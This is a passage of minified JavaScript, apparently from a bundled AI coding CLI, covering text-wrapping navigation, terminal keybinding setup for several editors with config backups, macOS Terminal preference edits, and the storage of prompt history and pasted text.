R31(H,O,J(O),!1))}else{let O=this.text.indexOf(H,q);if(O===-1)throw Error("Failed to find wrapped line in text");q=O+H.length;let X=O+H.length,$=X<this.text.length&&this.text[X]===` `;if($)Y=X;K.push(new R31(H,O,J(O),$))}}return K}getWrappedText(){return this.wrappedLines.map((A)=>A.isPrecededByNewline?A.text:A.text.trimStart())}getWrappedLines(){return this.wrappedLines}getLine(A){let K=this.wrappedLines;return K[Math.max(0,Math.min(A,K.length-1))]}getOffsetFromPosition(A){let K=this.getLine(A.line);if(K.text.length===0&&K.endsWithNewline)return K.startOffset;let q=K.isPrecededByNewline?0:K.text.length-K.text.trimStart().length,Y=A.column+q,z=this.displayWidthToStringIndex(K.text,Y),w=K.startOffset+z,H=K.startOffset+K.text.length,J=H,O=j7(K.text);if(K.endsWithNewline&&A.column>O)J=H+1;return Math.min(w,J)}getLineLength(A){let K=this.getLine(A);return j7(K.text)}getPositionFromOffset(A){let K=this.wrappedLines;for(let z=0;z<K.length;z++){let w=K[z],H=K[z+1];if(A>=w.startOffset&&(!H||A<H.startOffset)){let J=A-w.startOffset,O;if(w.isPrecededByNewline)O=this.stringIndexToDisplayWidth(w.text,J);else{let X=w.text.length-w.text.trimStart().length;if(J<X)O=0;else{let $=w.text.trimStart(),_=J-X;O=this.stringIndexToDisplayWidth($,_)}}return{line:z,column:Math.max(0,O)}}}let q=K.length-1,Y=this.wrappedLines[q];return{line:q,column:j7(Y.text)}}get lineCount(){return this.wrappedLines.length}withCache(A,K){let q=this.navigationCache.get(A);if(q!==void 0)return q;let Y=K();return this.navigationCache.set(A,Y),Y}nextOffset(A){return this.withCache(`next:${A}`,()=>{let K=this.getGraphemeBoundaries();return this.binarySearchBoundary(K,A,!0)})}prevOffset(A){if(A<=0)return 0;return this.withCache(`prev:${A}`,()=>{let K=this.getGraphemeBoundaries();return this.binarySearchBoundary(K,A,!1)})}}var T89=10,pk,L31=0,Lq6=!1,dG4=0,yq6=0,y31=!1,Rq6,v89,E89,JIA,hQ=(A)=>E89.test(A),x31=(A)=>JIA.test(A),vr=(A)=>A.length>0&&!x31(A)&&!hQ(A);var QXA=k(()=>{J51();XG();pk=[];Rq6=new Intl.Segmenter(void 0,{granularity:"grapheme"}),v89=new Intl.Segmenter(void 0,{granularity:"word"}),E89=/^[\p{L}\p{N}\p{M}_]$/u,JIA=/\s/});function u31(A){let K=s(7),{children:q}=A,{marker:Y}=Er.useContext(k89),z;if(K[0]!==Y)z=Er.default.createElement(V,{dimColor:!0},Y),K[0]=Y,K[1]=z;else z=K[1];let w;if(K[2]!==q)w=Er.default.createElement(S,{flexDirection:"column"},q),K[2]=q,K[3]=w;else w=K[3];let H;if(K[4]!==z||K[5]!==w)H=Er.default.createElement(S,{gap:1},z,w),K[4]=z,K[5]=w,K[6]=H;else H=K[6];return H}var Er,k89;var lG4=k(()=>{cA();mA();Er=o($A(),1),k89=Er.createContext({marker:""})});function nG4(A){let K=s(9),{children:q}=A,{marker:Y}=FV.useContext(iG4),z=0;for(let O of FV.default.Children.toArray(q)){if(!FV.isValidElement(O)||O.type!==u31)continue;z++}let w=String(z).length,H;if(K[0]!==q||K[1]!==w||K[2]!==Y){let O;if(K[4]!==w||K[5]!==Y)O=(X,$)=>{if(!FV.isValidElement(X)||X.type!==u31)return X;let _=`${String($+1).padStart(w)}.`,G=`${Y}${_}`;return FV.default.createElement(iG4.Provider,{value:{marker:G}},FV.default.createElement(C89.Provider,{value:{marker:G}},X))},K[4]=w,K[5]=Y,K[6]=O;else O=K[6];H=FV.default.Children.map(q,O),K[0]=q,K[1]=w,K[2]=Y,K[3]=H}else H=K[3];let J;if(K[7]!==H)J=FV.default.createElement(S,{flexDirection:"column"},H),K[7]=H,K[8]=J;else J=K[8];return J}var FV,iG4,C89,$IA;var Iq6=k(()=>{cA();mA();lG4();FV=o($A(),1),iG4=FV.createContext({marker:""}),C89=FV.createContext({marker:""});nG4.Item=u31;$IA=nG4});import{join as R89}from"path";function oG4(){return Sq6().filter(({isCompletable:A,isEnabled:K})=>A&&K).every(({isComplete:A})=>A)}function UXA(){let A=Z2();if(oG4()&&!A.hasCompletedProjectOnboarding)Pz((K)=>({...K,hasCompletedProjectOnboarding:!0}))}function Sq6(){let A=BA().existsSync(R89(x1(),"CLAUDE.md")),K=tG4(x1());return[{key:"workspace",text:"Ask Claude to create a new app or clone a repository",isComplete:!1,isCompletable:!0,isEnabled:K},{key:"claudemd",text:"Run /init to create a CLAUDE.md file with instructions for Claude",isComplete:A,isCompletable:!0,isEnabled:!K}]}function sG4(){Pz((A)=>({...A,projectOnboardingSeenCount:A.projectOnboardingSeenCount+1}))}var L89,rG4,aG4;var _IA=k(()=>{Iq6();mA();i6();YK();y4();e6();p7();L89=o($A(),1),rG4=o($A(),1);aG4=z6(()=>{if(oG4()||Z2().projectOnboardingSeenCount>=4||process.env.IS_DEMO)return!1;return!0})});import{homedir as y89}from"os";import{join as I89}from"path";function S89(A){D6((K)=>({...K,appleTerminalSetupInProgress:!0,appleTerminalBackupPath:A}))}function GIA(){D6((A)=>({...A,appleTerminalSetupInProgress:!1}))}function h89(){let A=M1();return{inProgress:A.appleTerminalSetupInProgress??!1,backupPath:A.appleTerminalBackupPath||null}}function pXA(){return I89(y89(),"Library","Preferences","com.apple.Terminal.plist")}async function eG4(){let A=pXA(),K=`${A}.bak`;try{let{code:q}=await R6("defaults",["export","com.apple.Terminal",A]);if(q!==0)return null;if(BA().existsSync(A))return await R6("defaults",["export","com.apple.Terminal",K]),S89(K),K;return null}catch(q){return KA(q instanceof Error?q:Error(String(q))),null}}async function B31(){let{inProgress:A,backupPath:K}=h89();if(!A)return{status:"no_backup"};if(!K||!BA().existsSync(K))return GIA(),{status:"no_backup"};try{let{code:q}=await R6("defaults",["import","com.apple.Terminal",K]);if(q!==0)return{status:"failed",backupPath:K};return await R6("killall",["cfprefsd"]),GIA(),{status:"restored"}}catch(q){return KA(Error(`Failed to restore Terminal.app settings with: ${q}`)),GIA(),{status:"failed",backupPath:K}}}var hq6=k(()=>{CK();C1();i6();e6()});import{EOL as tHw,homedir as b89}from"os";import{dirname as AJw,join as kr}from"path";function x89(){let A=process.env.SHELL||"",K=b89(),q=kr(K,".claude");if(A.endsWith("/zsh")||A.endsWith("/zsh.exe")){let Y=kr(q,"completion.zsh");return{name:"zsh",rcFile:kr(K,".zshrc"),cacheFile:Y,completionLine:`[[ -f "${Y}" ]] && source "${Y}"`,shellFlag:"zsh"}}if(A.endsWith("/bash")||A.endsWith("/bash.exe")){let Y=kr(q,"completion.bash");return{name:"bash",rcFile:kr(K,".bashrc"),cacheFile:Y,completionLine:`[ -f "${Y}" ] && source "${Y}"`,shellFlag:"bash"}}if(A.endsWith("/fish")||A.endsWith("/fish.exe")){let Y=process.env.XDG_CONFIG_HOME||kr(K,".config"),z=kr(q,"completion.fish");return{name:"fish",rcFile:kr(Y,"fish","config.fish"),cacheFile:z,completionLine:`[ -f "${z}" ] && source "${z}"`,shellFlag:"fish"}}return null}async function bq6(){let A=x89();if(!A)return;h(`update: Regenerating ${A.name} completion cache`);let K=process.argv[1]||"claude";if((await R6(K,["completion",A.shellFlag,"--output",A.cacheFile])).code!==0){h(`update: Failed to regenerate ${A.name} completion cache`);return}h(`update: Regenerated ${A.name} completion cache at ${A.cacheFile}`)}var xq6=k(()=>{mA();Pr();Z1();CK();e6();C1();b1()});import{randomBytes as Bq6}from"crypto";import{EOL as _5,homedir as mq6,platform as ZIA}from"os";import{dirname as u89,join as mx}from"path";import{pathToFileURL as B89}from"url";function m89(){let A=process.env.VSCODE_GIT_ASKPASS_MAIN??"",K=process.env.PATH??"";return A.includes(".vscode-server")||A.includes(".cursor-server")||A.includes(".windsurf-server")||K.includes(".vscode-server")||K.includes(".cursor-server")||K.includes(".windsurf-server")}function g89(){return m6.terminal!==null&&m6.terminal in WIA}function qZ4(){if(!m6.terminal||!(m6.terminal in WIA))return null;return WIA[m6.terminal]??null}function dk(A){if(!CT())return A;return`\x1B]8;;${B89(A).href}\x07${A}\x1B]8;;\x07`}function DIA(){return ZIA()==="darwin"&&m6.terminal==="Apple_Terminal"||m6.terminal==="vscode"||m6.terminal==="cursor"||m6.terminal==="windsurf"||m6.terminal==="alacritty"||m6.terminal==="WarpTerminal"||m6.terminal==="zed"}async function gq6(A){let K="";switch(m6.terminal){case"Apple_Terminal":K=await Q89(A);break;case"vscode":K=uq6("VSCode",A);break;case"cursor":K=uq6("Cursor",A);break;case"windsurf":K=uq6("Windsurf",A);break;case"alacritty":K=await U89(A);break;case"WarpTerminal":K=p89(A);break;case"zed":K=d89(A);break;case null:break}return D6((q)=>{if(["vscode","cursor","windsurf","alacritty","WarpTerminal","zed"].includes(m6.terminal??"")){if(q.shiftEnterKeyBindingInstalled===!0)return q;return{...q,shiftEnterKeyBindingInstalled:!0}}else if(m6.terminal==="Apple_Terminal"){if(q.optionAsMetaKeyInstalled===!0)return q;return{...q,optionAsMetaKeyInstalled:!0}}return q}),UXA(),K}function YZ4(){return M1().shiftEnterKeyBindingInstalled===!0}function zZ4(){return M1().hasUsedBackslashReturn===!0}function wZ4(){if(!M1().hasUsedBackslashReturn)D6((K)=>({...K,hasUsedBackslashReturn:!0}))}function uq6(A="VSCode",K){if(m89())return`${h8("warning",K)(`Cannot install keybindings from a remote ${A} session.`)}${_5}${_5}${A} keybindings must be installed on your local machine, not the remote server.${_5}${_5}To install the Shift+Enter keybinding:${_5}1. Open ${A} on your local machine (not connected to remote)${_5}2. Open the Command Palette (Cmd/Ctrl+Shift+P) → "Preferences: Open Keyboard Shortcuts (JSON)"${_5}3. Add this keybinding (the file must be a JSON array):${_5}${_5}${O1.dim(`[ { "key": "shift+enter", "command": "workbench.action.terminal.sendSequence", "args": { "text": "\\u001b\\r" }, "when": "terminalFocus" } ]`)}${_5}`;let q=A==="VSCode"?"Code":A,Y=mx(mq6(),ZIA()==="win32"?mx("AppData","Roaming",q,"User"):ZIA()==="darwin"?mx("Library","Application Support",q,"User"):mx(".config",q,"User")),z=mx(Y,"keybindings.json");try{let w="[]",H=[];if(!BA().existsSync(Y))BA().mkdirSync(Y);if(BA().existsSync(z)){w=BA().readFileSync(z,{encoding:"utf-8"}),H=y28(w)??[];let $=Bq6(4).toString("hex"),_=`${z}.${$}.bak`;try{BA().copyFileSync(z,_)}catch{return`${h8("warning",K)(`Error backing up existing ${A} terminal keybindings. Bailing out.`)}${_5}${O1.dim(`See ${dk(z)}`)}${_5}${O1.dim(`Backup path: ${dk(_)}`)}${_5}`}}if(H.find(($)=>$.key==="shift+enter"&&$.command==="workbench.action.terminal.sendSequence"&&$.when==="terminalFocus"))return`${h8("warning",K)(`Found existing ${A} terminal Shift+Enter key binding. Remove it to continue.`)}${_5}${O1.dim(`See ${dk(z)}`)}${_5}`;let X=S28(w,{key:"shift+enter",command:"workbench.action.terminal.sendSequence",args:{text:"\x1B\r"},when:"terminalFocus"});return x8(z,X,{encoding:"utf-8"}),`${h8("success",K)(`Installed ${A} terminal Shift+Enter key binding`)}${_5}${O1.dim(`See ${dk(z)}`)}${_5}`}catch(w){throw KA(w instanceof Error?w:Error(String(w))),Error(`Failed to install ${A} terminal Shift+Enter key binding`)}}async function AZ4(A){let{code:K}=await R6("/usr/libexec/PlistBuddy",["-c",`Add :'Window Settings':'${A}':useOptionAsMetaKey bool true`,pXA()]);if(K!==0){let{code:q}=await R6("/usr/libexec/PlistBuddy",["-c",`Set :'Window Settings':'${A}':useOptionAsMetaKey true`,pXA()]);if(q!==0)return KA(Error(`Failed to enable Option as Meta key for Terminal.app profile: ${A}`)),!1}return!0}async function KZ4(A){let{code:K}=await R6("/usr/libexec/PlistBuddy",["-c",`Add :'Window Settings':'${A}':Bell bool false`,pXA()]);if(K!==0){let{code:q}=await R6("/usr/libexec/PlistBuddy",["-c",`Set :'Window Settings':'${A}':Bell false`,pXA()]);if(q!==0)return KA(Error(`Failed to disable audio bell for Terminal.app profile: ${A}`)),!1}return!0}async function Q89(A){try{if(!await eG4())throw Error("Failed to create backup of Terminal.app preferences, bailing out");let{stdout:q,code:Y}=await R6("defaults",["read","com.apple.Terminal","Default Window Settings"]);if(Y!==0||!q.trim())throw Error("Failed to read default Terminal.app profile");let{stdout:z,code:w}=await R6("defaults",["read","com.apple.Terminal","Startup Window Settings"]);if(w!==0||!z.trim())throw Error("Failed to read startup Terminal.app profile");let H=!1,J=q.trim(),O=await AZ4(J),X=await KZ4(J);if(O||X)H=!0;let $=z.trim();if($!==J){let _=await AZ4($),G=await KZ4($);if(_||G)H=!0}if(!H)throw Error("Failed to enable Option as Meta key or disable audio bell for any Terminal.app profile");return await R6("killall",["cfprefsd"]),GIA(),`${h8("success",A)("Configured Terminal.app settings:")}${_5}${h8("success",A)('- Enabled "Use Option as Meta key"')}${_5}${h8("success",A)("- Switched to visual bell")}${_5}${O1.dim("Option+Enter will now enter a newline.")}${_5}${O1.dim("You must restart Terminal.app for changes to take effect.",A)}${_5}`}catch(K){KA(K instanceof Error?K:Error(String(K)));let q=await B31(),Y="Failed to enable Option as Meta key for Terminal.app.";if(q.status==="restored")throw Error(`${Y} Your settings have been restored from backup.`);else if(q.status==="failed")throw Error(`${Y} Restoring from backup failed, try manually with: defaults import com.apple.Terminal ${q.backupPath}`);else throw Error(`${Y} No backup was available to restore from.`)}}async function U89(A){let q=[],Y=process.env.XDG_CONFIG_HOME;if(Y)q.push(mx(Y,"alacritty","alacritty.toml"));else q.push(mx(mq6(),".config","alacritty","alacritty.toml"));if(ZIA()==="win32"){let H=process.env.APPDATA;if(H)q.push(mx(H,"alacritty","alacritty.toml"))}let z=null,w=!1;for(let H of q)if(BA().existsSync(H)){z=H,w=!0;break}if(!z)z=q[0]??null,w=!1;if(!z)throw Error("No valid config path found for Alacritty");try{let H="";if(w){if(H=BA().readFileSync(z,{encoding:"utf-8"}),H.includes('mods = "Shift"')&&H.includes('key = "Return"'))return`${h8("warning",A)("Found existing Alacritty Shift+Enter key binding. Remove it to continue.")}${_5}${O1.dim(`See ${dk(z)}`)}${_5}`;let O=Bq6(4).toString("hex"),X=`${z}.${O}.bak`;try{BA().copyFileSync(z,X)}catch{return`${h8("warning",A)("Error backing up existing Alacritty config. Bailing out.")}${_5}${O1.dim(`See ${dk(z)}`)}${_5}${O1.dim(`Backup path: ${dk(X)}`)}${_5}`}}else{let O=u89(z);if(!BA().existsSync(O))BA().mkdirSync(O)}let J=H;if(H&&!H.endsWith(` `))J+=` `;return J+=` [[keyboard.bindings]] key = "Return" mods = "Shift" chars = "\\x1b\\r" `,x8(z,J,{encoding:"utf-8"}),`${h8("success",A)("Installed Alacritty Shift+Enter key binding")}${_5}${h8("success",A)("You may need to restart Alacritty for changes to take effect")}${_5}${O1.dim(`See ${dk(z)}`)}${_5}`}catch(H){throw KA(H instanceof Error?H:Error(String(H))),Error("Failed to install Alacritty Shift+Enter key binding")}}function p89(A){if(ZIA()==="darwin")return`${h8("warning",A)("Warp requires manual configuration:")}${_5}${_5}${h8("success",A)("For Alt+T (thinking) and Alt+P (model picker):")}${_5} Settings → Features → Enable "Left Option key is meta"${_5}${_5}${O1.dim("Note: Warp does not support custom Shift+Enter keybindings.")}${_5}${O1.dim("Use backslash (\\\\) + Enter for multi-line input.")}${_5}`;return`${h8("warning",A)("Warp does not support custom Shift+Enter keybindings.")}${_5}${O1.dim("Use backslash (\\\\) + Enter for multi-line input.")}${_5}`}function d89(A){let K=mx(mq6(),".config","zed"),q=mx(K,"keymap.json");try{let Y="[]";if(!BA().existsSync(K))BA().mkdirSync(K);if(BA().existsSync(q)){if(Y=BA().readFileSync(q,{encoding:"utf-8"}),Y.includes("shift-enter"))return`${h8("warning",A)("Found existing Zed Shift+Enter key binding. Remove it to continue.")}${_5}${O1.dim(`See ${dk(q)}`)}${_5}`;let w=Bq6(4).toString("hex"),H=`${q}.${w}.bak`;try{BA().copyFileSync(q,H)}catch{return`${h8("warning",A)("Error backing up existing Zed keymap. Bailing out.")}${_5}${O1.dim(`See ${dk(q)}`)}${_5}${O1.dim(`Backup path: ${dk(H)}`)}${_5}`}}let z;try{if(z=G6(Y),!Array.isArray(z))z=[]}catch{z=[]}return z.push({context:"Terminal",bindings:{"shift-enter":["terminal::SendText","\x1B\r"]}}),x8(q,UA(z,null,2)+` `,{encoding:"utf-8"}),`${h8("success",A)("Installed Zed Shift+Enter key binding")}${_5}${O1.dim(`See ${dk(q)}`)}${_5}`}catch(Y){throw KA(Y instanceof Error?Y:Error(String(Y))),Error("Failed to install Zed Shift+Enter key binding")}}var WIA,F89,L4A;var R4A=k(()=>{u5();Pr();_IA();hq6();i6();z3();CK();e6();b1();Xw();C1();mA();B5();b1();xq6();WIA={ghostty:"Ghostty",kitty:"Kitty","iTerm.app":"iTerm2",WezTerm:"WezTerm"};F89={type:"local-jsx",name:"terminal-setup",userFacingName(){return"terminal-setup"},description:m6.terminal==="Apple_Terminal"?"Enable Option+Enter key binding for newlines and visual bell":"Install Shift+Enter key binding for newlines",isEnabled:()=>!0,isHidden:g89(),async call(A,K){if(m6.terminal&&m6.terminal in WIA){let Y=`Shift+Enter is natively supported in ${WIA[m6.terminal]}. No configuration needed. Just use Shift+Enter to add newlines.`;return A(Y),null}if(!DIA()){let Y=m6.terminal||"your current terminal",z=o6(),w="";if(z==="macos")w=` • macOS: Apple Terminal `;else if(z==="windows")w=` • Windows: Windows Terminal `;let H=`Terminal setup cannot be run from ${Y}. This command configures a convenient Shift+Enter shortcut for multi-line prompts. ${O1.dim("Note: You can already use backslash (\\\\) + return to add newlines.")} To set up the shortcut (optional): 1. Exit tmux/screen temporarily 2. Run /terminal-setup directly in one of these terminals: ${w} • IDE: VSCode, Cursor, Windsurf, Zed • Other: Alacritty, Warp 3. Return to tmux/screen - settings will persist ${O1.dim("Note: iTerm2, WezTerm, Ghostty, and Kitty support Shift+Enter natively.")}`;return A(H),null}let q=await gq6(K.options.theme);return A(q),null}};L4A=F89});import{join as Fq6}from"path";import{createHash as c89}from"crypto";import{mkdir as l89,writeFile as i89,readFile as n89,readdir as r89,stat as o89,unlink as a89}from"fs/promises";function Qq6(){return Fq6(w8(),s89)}function HZ4(A){return c89("sha256").update(A).digest("hex").slice(0,16)}function JZ4(A){return Fq6(Qq6(),`${A}.txt`)}async function OZ4(A,K){try{let q=Qq6();await l89(q,{recursive:!0});let Y=JZ4(A);await i89(Y,K,{encoding:"utf8",mode:384}),h(`Stored paste ${A} to ${Y}`)}catch(q){h(`Failed to store paste: ${q}`)}}async function XZ4(A){try{let K=JZ4(A);return await n89(K,{encoding:"utf8"})}catch(K){if(K&&typeof K==="object"&&"code"in K){if(K.code!=="ENOENT")h(`Failed to retrieve paste ${A}: ${K}`)}return null}}async function $Z4(A){let K=Qq6(),q;try{q=await r89(K)}catch{return}let Y=A.getTime();for(let z of q){if(!z.endsWith(".txt"))continue;let w=Fq6(K,z);try{if((await o89(w)).mtimeMs<Y)await a89(w),h(`Cleaned up old paste: ${w}`)}catch{}}}var s89="paste-cache";var Uq6=k(()=>{l6();Z1()});import{join as GZ4}from"path";function dXA(A){return(A.match(/\r\n|\r|\n/g)||[]).length}function g31(A,K){if(K===0)return`[Pasted text #${A}]`;return`[Pasted text #${A} +${K} lines]`}function cXA(A){let K=/\[(Pasted text|Image|\.\.\.Truncated text) #(\d+)(?: \+\d+ lines)?(\.)*\]/g;return[...A.matchAll(K)].map((Y)=>({id:parseInt(Y[2]||"0"),match:Y[0]})).filter((Y)=>Y.id>0)}function A49(A){return G6(A)}async function*WZ4(){for(let q=xQ.length-1;q>=0;q--)yield xQ[q];let A=GZ4(w8(),"history.jsonl");if(!BA().existsSync(A))return;for await(let q of cr6(A))try{yield A49(q)}catch(Y){h(`Failed to parse history line: ${Y}`)}}async function*dq6(){for await(let A of WZ4())yield await DZ4(A)}async function*F31(){let A=sW(),K=0;for await(let q of WZ4()){if(!q||typeof q.project!=="string")continue;if(q.project===A){if(yield await DZ4(q),K++,K>=t89)break}}}async function K49(A){if(A.content)return{id:A.id,type:A.type,content:A.content,mediaType:A.mediaType,filename:A.filename};if(A.contentHash){let K=await XZ4(A.contentHash);if(K)return{id:A.id,type:A.type,content:K,mediaType:A.mediaType,filename:A.filename}}return null}async function DZ4(A){let K={};for(let[q,Y]of Object.entries(A.pastedContents||{})){let z=await K49(Y);if(z)K[Number(q)]=z}return{display:A.display,pastedContents:K}}async function jZ4(){if(xQ.length===0)return;let A;try{let K=GZ4(w8(),"history.jsonl"),q=BA();if(!q.existsSync(K))x8(K,"",{encoding:"utf8",flush:!0,mode:384});A=await ZZ4.lock(K,{stale:1e4,retries:{retries:3,minTimeout:50}});let Y=xQ.map((z)=>UA(z)+` `);xQ=[],q.appendFileSync(K,Y.join(""),{mode:384})}catch(K){h(`Failed to write prompt history: ${K}`)}finally{if(A)await A()}}async function MZ4(A){if(pq6||xQ.length===0)return;if(A>5)return;pq6=!0;try{await jZ4()}finally{if(pq6=!1,xQ.length>0)await new Promise((K)=>setTimeout(K,500)),MZ4(A+1)}}async function q49(A){let K=typeof A==="string"?{display:A,pastedContents:{}}:A,q={};if(K.pastedContents)for(let[z,w]of Object.entries(K.pastedContents)){if(w.type==="image")continue;if(w.content.length<=e89)q[Number(z)]={id:w.id,type:w.type,content:w.content,mediaType:w.mediaType,filename:w.filename};else{let H=HZ4(w.content);q[Number(z)]={id:w.id,type:w.type,contentHash:H,mediaType:w.mediaType,filename:w.filename},OZ4(H,w.content)}}let Y={...K,pastedContents:q,timestamp:Date.now(),project:sW(),sessionId:d1()};xQ.push(Y),m31=MZ4(0)}function y4A(A){if(process.env.CLAUDE_CODE_SKIP_PROMPT_HISTORY==="true")return;if(!_Z4)_Z4=!0,kK(async()=>{if(m31)await m31;if(xQ.length>0)await jZ4()});q49(A)}var ZZ4,t89=100,e89=1024,xQ,pq6=!1,m31=null,_Z4=!1;var xy=k(()=>{l6();e6();b1();q6();Z1();R2();b1();Uq6();ZZ4=o(Yb(),1);xQ=[]});function PZ4(A,K){switch(K){case"bash":return`!${A}`;case"background":return`&${A}`;default:return A}}function gx(A){if(A.startsWith("!"))return"bash";if(A.startsWith("&"))return"background";return"prompt"}function I4A(A){if(gx(A)==="prompt")return A;return A.slice(1)}function VZ4(A){return A==="!"||A==="&"}function Cr(A){return A.filter((K)=>K.data?.type!=="hook_progress")}function Y49(A,K){return A.name===K||(A.aliases?.includes(K)??!1)}function uQ(A,K){return A.find((q)=>Y49(q,K))}var w_=()=>({mode:"default",additionalWorkingDirectories:new Map,alwaysAllowRules:{},alwaysDenyRules:{},alwaysAskRules:{},isBypassPermissionsModeAvailable:!1});function lXA(A){let K=Q31.useCallback((q)=>{U_();let Y=J8();A(q,Y)},[A]);Q31.useEffect(()=>a_.subscribe(K),[K])}var Q31;var U31=k(()=>{ci();I8();Q31=o($A(),1)});function K$(){return P1(process.env.CLAUDE_CODE_USE_BEDROCK)||P1(process.env.CLAUDE_CODE_USE_VERTEX)||P1(process.env.CLAUDE_CODE_USE_FOUNDRY)||!!process.env.DISABLE_TELEMETRY||!!process.env.CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC}var BQ=k(()=>{l6()});var TZ4=v((fZ4)=>{Object.defineProperty(fZ4,"__esModule",{value:!0});fZ4._globalThis=void 0;fZ4._globalThis=typeof globalThis==="object"?globalThis:global});var vZ4=v((S4A)=>{var z49=S4A&&S4A.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;Object.defineProperty(A,Y,{enumerable:!0,get:function(){return K[q]}})}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),w49=S4A&&S4A.__exportStar||function(A,K){for(var q in A)if(q!=="default"&&!Object.prototype.hasOwnProperty.call(K,q))z49(K,A,q)};Object.defineProperty(S4A,"__esModule",{value:!0});w49(TZ4(),S4A)});var EZ4=v((h4A)=>{var H49=h4A&&h4A.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;Object.defineProperty(A,Y,{enumerable:!0,get:function(){return K[q]}})}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),J49=h4A&&h4A.__exportStar||function(A,K){for(var q in A)if(q!=="default"&&!Object.prototype.hasOwnProperty.call(K,q))H49(K,A,q)};Object.defineProperty(h4A,"__esModule",{value:!0});J49(vZ4(),h4A)});var cq6=v((kZ4)=>{Object.defineProperty(kZ4,"__esModule",{value:!0});kZ4.VERSION=void 0;kZ4.VERSION="1.9.0"});var SZ4=v((yZ4)=>{Object.defineProperty(yZ4,"__esModule",{value:!0});yZ4.isCompatible=yZ4._makeCompatibilityCheck=void 0;var O49=cq6(),LZ4=/^(\d+)\.(\d+)\.(\d+)(-(.+))?$/;function RZ4(A){let K=new Set([A]),q=new Set,Y=A.match(LZ4);if(!Y)return()=>!1;let z={major:+Y[1],minor:+Y[2],patch:+Y[3],prerelease:Y[4]};if(z.prerelease!=null)return function(O){return O===A};function w(J){return q.add(J),!1}function H(J){return K.add(J),!0}return function(O){if(K.has(O))return!0;if(q.has(O))return!1;let X=O.match(LZ4);if(!X)return w(O);let $={major:+X[1],minor:+X[2],patch:+X[3],prerelease:X[4]};if($.prerelease!=null)return w(O);if(z.major!==$.major)return w(O);if(z.major===0){if(z.minor===$.minor&&z.patch<=$.patch)return H(O);return w(O)}if(z.minor<=$.minor)return H(O);return w(O)}}yZ4._makeCompatibilityCheck=RZ4;yZ4.isCompatible=RZ4(O49.VERSION)});var b4A=v((hZ4)=>{Object.defineProperty(hZ4,"__esModule",{value:!0});hZ4.unregisterGlobal=hZ4.getGlobal=hZ4.registerGlobal=void 0;var $49=EZ4(),iXA=cq6(),_49=SZ4(),G49=iXA.VERSION.split(".")[0],jIA=Symbol.for(`opentelemetry.js.api.${G49}`),MIA=$49._globalThis;function Z49(A,K,q,Y=!1){var z;let w=MIA[jIA]=(z=MIA[jIA])!==null&&z!==void 0?z:{version:iXA.VERSION};if(!Y&&w[A]){let H=Error(`@opentelemetry/api: Attempted duplicate registration of API: ${A}`);return q.error(H.stack||H.message),!1}if(w.version!==iXA.VERSION){let H=Error(`@opentelemetry/api: Registration of version v${w.version} for ${A} does not match previously registered API v${iXA.VERSION}`);return q.error(H.stack||H.message),!1}return w[A]=K,q.debug(`@opentelemetry/api: Registered a global for ${A} v${iXA.VERSION}.`),!0}hZ4.registerGlobal=Z49;function W49(A){var K,q;let Y=(K=MIA[jIA])===null||K===void 0?void 0:K.version;if(!Y||!(0,_49.isCompatible)(Y))return;return(q=MIA[jIA])===null||q===void 0?void 0:q[A]}hZ4.getGlobal=W49;function D49(A,K){K.debug(`@opentelemetry/api: Unregistering a global for ${A} v${iXA.VERSION}.`);let q=MIA[jIA];if(q)delete q[A]}hZ4.unregisterGlobal=D49});var mZ4=v((uZ4)=>{Object.defineProperty(uZ4,"__esModule",{value:!0});uZ4.DiagComponentLogger=void 0;var P49=b4A();class xZ4{constructor(A){this._namespace=A.namespace||"DiagComponentLogger"}debug(...A){return PIA("debug",this._namespace,A)}error(...A){return PIA("error",this._namespace,A)}info(...A){return PIA("info",this._namespace,A)}warn(...A){return PIA("warn",this._namespace,A)}verbose(...A){return PIA("verbose",this._namespace,A)}}uZ4.DiagComponentLogger=xZ4;function PIA(A,K,q){let Y=(0,P49.getGlobal)("diag");if(!Y)return;return q.unshift(K),Y[A](...q)}});var p31=v((gZ4)=>{Object.defineProperty(gZ4,"__esModule",{value:!0});gZ4.DiagLogLevel=void 0;var V49;(function(A){A[A.NONE=0]="NONE",A[A.ERROR=30]="ERROR",A[A.WARN=50]="WARN",A[A.INFO=60]="INFO",A[A.DEBUG=70]="DEBUG",A[A.VERBOSE=80]="VERBOSE",A[A.ALL=9999]="ALL"})(V49=gZ4.DiagLogLevel||(gZ4.DiagLogLevel={}))});var UZ4=v((FZ4)=>{Object.defineProperty(FZ4,"__esModule",{value:!0});FZ4.createLogLevelDiagLogger=void 0;var mQ=p31();function f49(A,K){if(A<mQ.DiagLogLevel.NONE)A=mQ.DiagLogLevel.NONE;else if(A>mQ.DiagLogLevel.ALL)A=mQ.DiagLogLevel.ALL;K=K||{};function q(Y,z){let w=K[Y];if(typeof w==="function"&&A>=z)return w.bind(K);return function(){}}return{error:q("error",mQ.DiagLogLevel.ERROR),warn:q("warn",mQ.DiagLogLevel.WARN),info:q("info",mQ.DiagLogLevel.INFO),debug:q("debug",mQ.DiagLogLevel.DEBUG),verbose:q("verbose",mQ.DiagLogLevel.VERBOSE)}}FZ4.createLogLevelDiagLogger=f49});var x4A=v((dZ4)=>{Object.defineProperty(dZ4,"__esModule",{value:!0});dZ4.DiagAPI=void 0;var N49=mZ4(),T49=UZ4(),pZ4=p31(),d31=b4A(),v49="diag";class iq6{constructor(){function A(Y){return function(...z){let w=(0,d31.getGlobal)("diag");if(!w)return;return w[Y](...z)}}let K=this,q=(Y,z={logLevel:pZ4.DiagLogLevel.INFO})=>{var w,H,J;if(Y===K){let $=Error("Cannot use diag as the logger for itself. Please use a DiagLogger implementation like ConsoleDiagLogger or a custom implementation");return K.error((w=$.stack)!==null&&w!==void 0?w:$.message),!1}if(typeof z==="number")z={logLevel:z};let O=(0,d31.getGlobal)("diag"),X=(0,T49.createLogLevelDiagLogger)((H=z.logLevel)!==null&&H!==void 0?H:pZ4.DiagLogLevel.INFO,Y);if(O&&!z.suppressOverrideMessage){let $=(J=Error().stack)!==null&&J!==void 0?J:"<failed to generate stacktrace>";O.warn(`Current logger will be overwritten from ${$}`),X.warn(`Current logger will overwrite one already registered from ${$}`)}return(0,d31.registerGlobal)("diag",X,K,!0)};K.setLogger=q,K.disable=()=>{(0,d31.unregisterGlobal)(v49,K)},K.createComponentLogger=(Y)=>{return new 